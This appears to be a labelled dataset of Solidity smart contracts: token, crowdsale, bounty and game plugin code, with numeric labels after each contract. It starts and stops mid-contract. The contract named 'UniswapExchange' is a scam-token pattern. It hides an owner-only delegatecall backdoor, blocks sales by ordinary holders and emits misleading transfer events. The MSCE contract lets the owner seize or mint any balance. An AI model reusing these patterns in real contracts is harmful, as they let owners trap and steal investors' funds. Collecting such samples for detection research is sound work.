function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract HumanStandardToken is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function HumanStandardToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
contract Locked {
uint public period;
function Locked(uint _period) public {
period = _period;
}
}
contract Owned {
function Owned() { owner = msg.sender; }
address owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Sales is Owned {
address public wallet;
HumanStandardToken public token;
Locked public locked;
uint public price;
uint public startBlock;
uint public freezeBlock;
bool public frozen = false;
uint256 public cap = 0;
uint256 public sold = 0;
uint created;
event PurchasedTokens(address indexed purchaser, uint amount);
modifier saleHappening {
require(block.number >= startBlock);
require(block.number <= freezeBlock);
require(!frozen);
require(sold < cap);
_;
}
function Sales(
address _wallet,
uint256 _tokenSupply,
string _tokenName,
uint8 _tokenDecimals,
string _tokenSymbol,
uint _price,
uint _startBlock,
uint _freezeBlock,
uint256 _cap,
uint _locked
) {
wallet = _wallet;
token = new HumanStandardToken(_tokenSupply, _tokenName, _tokenDecimals, _tokenSymbol);
locked = new Locked(_locked);
price = _price;
startBlock = _startBlock;
freezeBlock = _freezeBlock;
cap = _cap;
created = now;
uint256 ownersValue = SafeMath.div(SafeMath.mul(token.totalSupply(), 20), 100);
assert(token.transfer(wallet, ownersValue));
uint256 saleValue = SafeMath.div(SafeMath.mul(token.totalSupply(), 60), 100);
assert(token.transfer(this, saleValue));
uint256 lockedValue = SafeMath.sub(token.totalSupply(), SafeMath.add(ownersValue, saleValue));
assert(token.transfer(locked, lockedValue));
}
function purchaseTokens()
payable
saleHappening {
uint excessAmount = msg.value % price;
uint purchaseAmount = SafeMath.sub(msg.value, excessAmount);
uint tokenPurchase = SafeMath.div(purchaseAmount, price);
require(tokenPurchase <= token.balanceOf(this));
if (excessAmount > 0) {
msg.sender.transfer(excessAmount);
}
sold = SafeMath.add(sold, tokenPurchase);
assert(sold <= cap);
wallet.transfer(purchaseAmount);
assert(token.transfer(msg.sender, tokenPurchase));
PurchasedTokens(msg.sender, tokenPurchase);
}
function changeBlocks(uint _newStartBlock, uint _newFreezeBlock)
onlyOwner {
require(_newStartBlock != 0);
require(_newFreezeBlock >= _newStartBlock);
startBlock = _newStartBlock;
freezeBlock = _newFreezeBlock;
}
function changePrice(uint _newPrice)
onlyOwner {
require(_newPrice > 0);
price = _newPrice;
}
function changeCap(uint256 _newCap)
onlyOwner {
require(_newCap > 0);
cap = _newCap;
}
function unlockEscrow()
onlyOwner {
assert((now - created) > locked.period());
assert(token.transfer(wallet, token.balanceOf(locked)));
}
function toggleFreeze()
onlyOwner {
frozen = !frozen;
}
} | 1 | 2,255 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function isOwner() internal view returns(bool success) {
if (msg.sender == owner) return true;
return false;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MSCE is Ownable, StandardToken {
using SafeMath for uint256;
uint8 public constant TOKEN_DECIMALS = 18;
string public name = "Mobile Ecosystem";
string public symbol = "MSCE";
uint8 public decimals = TOKEN_DECIMALS;
uint256 public totalSupply = 500000000 *(10**uint256(TOKEN_DECIMALS));
uint256 public soldSupply = 0;
uint256 public sellSupply = 0;
uint256 public buySupply = 0;
bool public stopSell = true;
bool public stopBuy = true;
uint256 public crowdsaleStartTime = block.timestamp;
uint256 public crowdsaleEndTime = block.timestamp;
uint256 public crowdsaleTotal = 0;
uint256 public buyExchangeRate = 10000;
uint256 public sellExchangeRate = 60000;
address public ethFundDeposit;
bool public allowTransfers = true;
mapping (address => bool) public frozenAccount;
bool public enableInternalLock = true;
mapping (address => bool) public internalLockAccount;
mapping (address => uint256) public releaseLockAccount;
event FrozenFunds(address target, bool frozen);
event IncreaseSoldSaleSupply(uint256 _value);
event DecreaseSoldSaleSupply(uint256 _value);
function MSCE() public {
balances[msg.sender] = totalSupply;
ethFundDeposit = msg.sender;
allowTransfers = false;
}
function _isUserInternalLock() internal view returns (bool) {
return getAccountLockState(msg.sender);
}
function increaseSoldSaleSupply (uint256 _value) onlyOwner public {
require (_value + soldSupply < totalSupply);
soldSupply = soldSupply.add(_value);
IncreaseSoldSaleSupply(_value);
}
function decreaseSoldSaleSupply (uint256 _value) onlyOwner public {
require (soldSupply - _value > 0);
soldSupply = soldSupply.sub(_value);
DecreaseSoldSaleSupply(_value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balances[target] = balances[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function destroyToken(address target, uint256 amount) onlyOwner public {
balances[target] = balances[target].sub(amount);
totalSupply = totalSupply.sub(amount);
Transfer(target, this, amount);
Transfer(this, 0, amount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setEthFundDeposit(address _ethFundDeposit) onlyOwner public {
require(_ethFundDeposit != address(0));
ethFundDeposit = _ethFundDeposit;
}
function transferETH() onlyOwner public {
require(ethFundDeposit != address(0));
require(this.balance != 0);
require(ethFundDeposit.send(this.balance));
}
function setExchangeRate(uint256 _sellExchangeRate, uint256 _buyExchangeRate) onlyOwner public {
sellExchangeRate = _sellExchangeRate;
buyExchangeRate = _buyExchangeRate;
}
function setName(string _name) onlyOwner public {
name = _name;
}
function setSymbol(string _symbol) onlyOwner public {
symbol = _symbol;
}
function setAllowTransfers(bool _allowTransfers) onlyOwner public {
allowTransfers = _allowTransfers;
}
function transferFromAdmin(address _from, address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function setEnableInternalLock(bool _isEnable) onlyOwner public {
enableInternalLock = _isEnable;
}
function lockInternalAccount(address _target, bool _lock, uint256 _releaseTime) onlyOwner public {
require(_target != address(0));
internalLockAccount[_target] = _lock;
releaseLockAccount[_target] = _releaseTime;
}
function getAccountUnlockTime(address _target) public view returns(uint256) {
return releaseLockAccount[_target];
}
function getAccountLockState(address _target) public view returns(bool) {
if(enableInternalLock && internalLockAccount[_target]){
if((releaseLockAccount[_target] > 0)&&(releaseLockAccount[_target]<block.timestamp)){
return false;
}
return true;
}
return false;
}
function internalSellTokenFromAdmin(address _to, uint256 _value, bool _lock, uint256 _releaseTime) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
soldSupply = soldSupply.add(_value);
sellSupply = sellSupply.add(_value);
Transfer(owner, _to, _value);
lockInternalAccount(_to, _lock, _releaseTime);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(!_isUserInternalLock());
}
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
require(!_isUserInternalLock());
}
return super.transfer(_to, _value);
}
function () internal payable{
uint256 currentTime = block.timestamp;
require((currentTime>crowdsaleStartTime)&&(currentTime<crowdsaleEndTime));
require(crowdsaleTotal>0);
require(buy());
crowdsaleTotal = crowdsaleTotal.sub(msg.value.mul(buyExchangeRate));
}
function buy() payable public returns (bool){
uint256 amount = msg.value.mul(buyExchangeRate);
require(!stopBuy);
require(amount <= balances[owner]);
balances[owner] = balances[owner].sub(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
soldSupply = soldSupply.add(amount);
buySupply = buySupply.add(amount);
Transfer(owner, msg.sender, amount);
return true;
}
function sell(uint256 amount) public {
uint256 ethAmount = amount.div(sellExchangeRate);
require(!stopSell);
require(this.balance >= ethAmount);
require(ethAmount >= 1);
require(balances[msg.sender] >= amount);
require(balances[owner] + amount > balances[owner]);
require(!frozenAccount[msg.sender]);
require(!_isUserInternalLock());
balances[owner] = balances[owner].add(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
soldSupply = soldSupply.sub(amount);
sellSupply = sellSupply.add(amount);
Transfer(msg.sender, owner, amount);
msg.sender.transfer(ethAmount);
}
function setCrowdsaleStartTime(uint256 _crowdsaleStartTime) onlyOwner public {
crowdsaleStartTime = _crowdsaleStartTime;
}
function setCrowdsaleEndTime(uint256 _crowdsaleEndTime) onlyOwner public {
crowdsaleEndTime = _crowdsaleEndTime;
}
function setCrowdsaleTotal(uint256 _crowdsaleTotal) onlyOwner public {
crowdsaleTotal = _crowdsaleTotal;
}
} | 0 | 1,682 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,170 |
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.23;
contract PluginInterface
{
function isPluginInterface() public pure returns (bool);
function onRemove() public;
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
interface ConfigInterface
{
function isConfig() external pure returns (bool);
function getCooldownIndexFromGeneration(uint16 _generation, uint40 _cutieId) external view returns (uint16);
function getCooldownEndTimeFromIndex(uint16 _cooldownIndex, uint40 _cutieId) external view returns (uint40);
function getCooldownIndexFromGeneration(uint16 _generation) external view returns (uint16);
function getCooldownEndTimeFromIndex(uint16 _cooldownIndex) external view returns (uint40);
function getCooldownIndexCount() external view returns (uint256);
function getBabyGenFromId(uint40 _momId, uint40 _dadId) external view returns (uint16);
function getBabyGen(uint16 _momGen, uint16 _dadGen) external pure returns (uint16);
function getTutorialBabyGen(uint16 _dadGen) external pure returns (uint16);
function getBreedingFee(uint40 _momId, uint40 _dadId) external view returns (uint256);
}
contract CutieCoreInterface
{
function isCutieCore() pure public returns (bool);
ConfigInterface public config;
function transferFrom(address _from, address _to, uint256 _cutieId) external;
function transfer(address _to, uint256 _cutieId) external;
function ownerOf(uint256 _cutieId)
external
view
returns (address owner);
function getCutie(uint40 _id)
external
view
returns (
uint256 genes,
uint40 birthTime,
uint40 cooldownEndTime,
uint40 momId,
uint40 dadId,
uint16 cooldownIndex,
uint16 generation
);
function getGenes(uint40 _id)
public
view
returns (
uint256 genes
);
function getCooldownEndTime(uint40 _id)
public
view
returns (
uint40 cooldownEndTime
);
function getCooldownIndex(uint40 _id)
public
view
returns (
uint16 cooldownIndex
);
function getGeneration(uint40 _id)
public
view
returns (
uint16 generation
);
function getOptional(uint40 _id)
public
view
returns (
uint64 optional
);
function changeGenes(
uint40 _cutieId,
uint256 _genes)
public;
function changeCooldownEndTime(
uint40 _cutieId,
uint40 _cooldownEndTime)
public;
function changeCooldownIndex(
uint40 _cutieId,
uint16 _cooldownIndex)
public;
function changeOptional(
uint40 _cutieId,
uint64 _optional)
public;
function changeGeneration(
uint40 _cutieId,
uint16 _generation)
public;
function createSaleAuction(
uint40 _cutieId,
uint128 _startPrice,
uint128 _endPrice,
uint40 _duration
)
public;
function getApproved(uint256 _tokenId) external returns (address);
function totalSupply() view external returns (uint256);
function createPromoCutie(uint256 _genes, address _owner) external;
function checkOwnerAndApprove(address _claimant, uint40 _cutieId, address _pluginsContract) external view;
function breedWith(uint40 _momId, uint40 _dadId) public payable returns (uint40);
function getBreedingFee(uint40 _momId, uint40 _dadId) public view returns (uint256);
}
contract CutiePluginBase is PluginInterface, Pausable
{
function isPluginInterface() public pure returns (bool)
{
return true;
}
CutieCoreInterface public coreContract;
address public pluginsContract;
uint16 public ownerFee;
modifier onlyCore() {
require(msg.sender == address(coreContract));
_;
}
modifier onlyPlugins() {
require(msg.sender == pluginsContract);
_;
}
function setup(address _coreAddress, address _pluginsContract, uint16 _fee) public {
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
CutieCoreInterface candidateContract = CutieCoreInterface(_coreAddress);
require(candidateContract.isCutieCore());
coreContract = candidateContract;
pluginsContract = _pluginsContract;
}
function setFee(uint16 _fee) public
{
require(_fee <= 10000);
require(msg.sender == owner);
ownerFee = _fee;
}
function _isOwner(address _claimant, uint40 _cutieId) internal view returns (bool) {
return (coreContract.ownerOf(_cutieId) == _claimant);
}
function _escrow(address _owner, uint40 _cutieId) internal {
coreContract.transferFrom(_owner, this, _cutieId);
}
function _transfer(address _receiver, uint40 _cutieId) internal {
coreContract.transfer(_receiver, _cutieId);
}
function _computeFee(uint128 _price) internal view returns (uint128) {
return _price * ownerFee / 10000;
}
function withdraw() public
{
require(
msg.sender == owner ||
msg.sender == address(coreContract)
);
_withdraw();
}
function _withdraw() internal
{
if (address(this).balance > 0)
{
address(coreContract).transfer(address(this).balance);
}
}
function onRemove() public onlyPlugins
{
_withdraw();
}
function run(
uint40,
uint256,
address
)
public
payable
onlyCore
{
revert();
}
}
contract Lottery is CutiePluginBase
{
event Lottery(address player);
function run(
uint40,
uint256,
address
)
public
payable
onlyPlugins
{
}
function runSigned(uint40, uint256, address)
external
payable
onlyPlugins
{
}
function runLottery() external
{
emit Lottery(msg.sender);
}
} | 1 | 2,056 |
pragma solidity ^0.4.21;
contract RealEstateCryptoFund {
function transfer(address to, uint256 value) public returns (bool);
function balanceOf(address who) public constant returns (uint256);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Bounty is Ownable {
uint256 public BountyAmount;
RealEstateCryptoFund public token;
mapping(address=>bool) public participated;
event TokenBounty(address indexed beneficiary, uint256 amount);
event BountyAmountUpdate(uint256 BountyAmount);
function Bounty(address _tokenAddress) public {
token = RealEstateCryptoFund (_tokenAddress);
}
function () external payable {
getTokens(msg.sender);
}
function setBountyAmount(uint256 _BountyAmount) public onlyOwner {
require(_BountyAmount > 0);
BountyAmount = _BountyAmount;
emit BountyAmountUpdate(BountyAmount);
}
function getTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase(beneficiary));
token.transfer(beneficiary, BountyAmount);
emit TokenBounty(beneficiary, BountyAmount);
participated[beneficiary] = true;
}
function validPurchase(address beneficiary) internal view returns (bool) {
bool hasParticipated = participated[beneficiary];
return !hasParticipated;
}
}
contract RealEstateCryptoFundBounty is Bounty {
function RealEstateCryptoFundBounty (address _tokenAddress) public
Bounty(_tokenAddress)
{
}
function drainRemainingTokens () public onlyOwner {
token.transfer(owner, token.balanceOf(this));
}
} | 1 | 4,090 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract AllowanceSheet is Claimable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) public allowanceOf;
function addAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner {
allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].add(value);
}
function subAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner {
allowanceOf[tokenHolder][spender] = allowanceOf[tokenHolder][spender].sub(value);
}
function setAllowance(address tokenHolder, address spender, uint256 value) public onlyOwner {
allowanceOf[tokenHolder][spender] = value;
}
} | 1 | 3,108 |
pragma solidity ^0.4.16;
contract WORLD{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
uint256 public totalSupply;
